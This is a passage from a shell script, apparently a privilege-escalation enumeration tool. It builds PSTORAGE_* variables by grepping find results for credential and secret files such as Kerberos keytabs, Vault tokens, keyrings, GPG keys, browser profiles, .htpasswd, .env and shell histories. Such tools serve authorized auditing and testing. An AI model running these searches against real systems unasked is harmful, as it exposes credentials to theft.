"^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "krb5\.conf$|krb5\.keytab$|\.k5login$|kadm5\.acl$" | sort | uniq | head -n 70) + PSTORAGE_KIBANA=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "kibana\.y.*ml$" | sort | uniq | head -n 70) + PSTORAGE_KNOCKD=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E '/etc/init.d/' | grep -E "^/etc" | grep -E ".*knockd.*$" | sort | uniq | head -n 70) + PSTORAGE_LOGSTASH=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_MNT\n$FIND_DIR_TMP\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_OPT\n$FIND_DIR_USR\n$FIND_DIR_SBIN\n$FIND_DIR_CDROM\n$FIND_DIR_SNAP" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "logstash$" | sort | uniq | head -n 70) + PSTORAGE_ELASTICSEARCH=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "elasticsearch\.y.*ml$" | sort | uniq | head -n 70) + PSTORAGE_VAULT_SSH_HELPER=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "vault-ssh-helper\.hcl$" | sort | uniq | head -n 70) + PSTORAGE_VAULT_SSH_TOKEN=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "\.vault-token$" | sort | uniq | head -n 70) + PSTORAGE_COUCHDB=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_MNT\n$FIND_DIR_TMP\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_OPT\n$FIND_DIR_USR\n$FIND_DIR_SBIN\n$FIND_DIR_CDROM\n$FIND_DIR_SNAP" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "couchdb$" | sort | uniq | head -n 70) + PSTORAGE_REDIS=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "redis\.conf$" | sort | uniq | head -n 70) + PSTORAGE_MOSQUITTO=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "mosquitto\.conf$" | sort | uniq | head -n 70) + PSTORAGE_NEO4J=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_MNT\n$FIND_DIR_TMP\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_OPT\n$FIND_DIR_USR\n$FIND_DIR_SBIN\n$FIND_DIR_CDROM\n$FIND_DIR_SNAP" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "neo4j$" | sort | uniq | head -n 70) + PSTORAGE_CLOUD_INIT=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "cloud\.cfg$" | sort | uniq | head -n 70) + PSTORAGE_ERLANG=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "\.erlang\.cookie$" | sort | uniq | head -n 70) + PSTORAGE_GMV_AUTH=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "gvm-tools\.conf$" | sort | uniq | head -n 70) + PSTORAGE_IPSEC=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "ipsec\.secrets$|ipsec\.conf$" | sort | uniq | head -n 70) + PSTORAGE_IRSSI=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_MNT\n$FIND_DIR_TMP\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_OPT\n$FIND_DIR_USR\n$FIND_DIR_SBIN\n$FIND_DIR_CDROM\n$FIND_DIR_SNAP" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "\.irssi$" | sort | uniq | head -n 70) + PSTORAGE_KEYRING=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_MNT\n$FIND_DIR_TMP\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_OPT\n$FIND_DIR_USR\n$FIND_DIR_SBIN\n$FIND_DIR_CDROM\n$FIND_DIR_SNAP" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "keyrings$|.*\.keyring$|.*\.keystore$|.*\.jks$" | sort | uniq | head -n 70) + PSTORAGE_FILEZILLA=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_MNT\n$FIND_DIR_TMP\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_OPT\n$FIND_DIR_USR\n$FIND_DIR_SBIN\n$FIND_DIR_CDROM\n$FIND_DIR_SNAP" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "filelliza$|filezilla\.xml$" | sort | uniq | head -n 70) + PSTORAGE_BACKUP_MANAGER=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "storage\.php$|database\.php$" | sort | uniq | head -n 70) + PSTORAGE_SPLUNK=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "passwd$" | sort | uniq | head -n 70) + PSTORAGE_GITLAB=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -v -E '/lib' | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "secrets\.yml$|gitlab\.yml$|gitlab\.rm$" | sort | uniq | head -n 70) + PSTORAGE_PGP_GPG=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -v -E 'README.gnupg' | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E ".*\.pgp$|.*\.gpg$|.*\.gnupg$" | sort | uniq | head -n 70) + PSTORAGE_CACHE_VI=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E ".*\.swp$|.*\.viminfo$" | sort | uniq | head -n 70) + PSTORAGE_DOCKER=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "docker\.socket$|docker\.sock$|Dockerfile$|docker-compose\.yml$" | sort | uniq | head -n 70) + PSTORAGE_FIREFOX=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_MNT\n$FIND_DIR_TMP\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_OPT\n$FIND_DIR_USR\n$FIND_DIR_SBIN\n$FIND_DIR_CDROM\n$FIND_DIR_SNAP" | grep -E "^$GREPHOMESEARCH" | grep -E "\.mozilla$" | sort | uniq | head -n 70) + PSTORAGE_CHROME=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^$GREPHOMESEARCH" | grep -E "google-chrome$" | sort | uniq | head -n 70) + PSTORAGE_AUTOLOGIN=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "autologin$|autologin\.conf$" | sort | uniq | head -n 70) + PSTORAGE_FASTCGI=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "fastcgi_params$" | sort | uniq | head -n 70) + PSTORAGE_SNMP=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "snmpd\.conf$" | sort | uniq | head -n 70) + PSTORAGE_PYPIRC=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "\.pypirc$" | sort | uniq | head -n 70) + PSTORAGE_CLOUDFLARE=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_MNT\n$FIND_DIR_TMP\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_OPT\n$FIND_DIR_USR\n$FIND_DIR_SBIN\n$FIND_DIR_CDROM\n$FIND_DIR_SNAP" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "\.cloudflared$" | sort | uniq | head -n 70) + PSTORAGE_HISTORY=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "\..*_history$" | sort | uniq | head -n 70) + PSTORAGE_HTTP_CONF=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "httpd\.conf$" | sort | uniq | head -n 70) + PSTORAGE_HTPASSWD=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "\.htpasswd$" | sort | uniq | head -n 70) + PSTORAGE_LDAPRC=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "\.ldaprc$" | sort | uniq | head -n 70) + PSTORAGE_ENV=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "\.env$" | sort | uniq | head -n 70) + PSTORAGE_MSMTPRC=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E 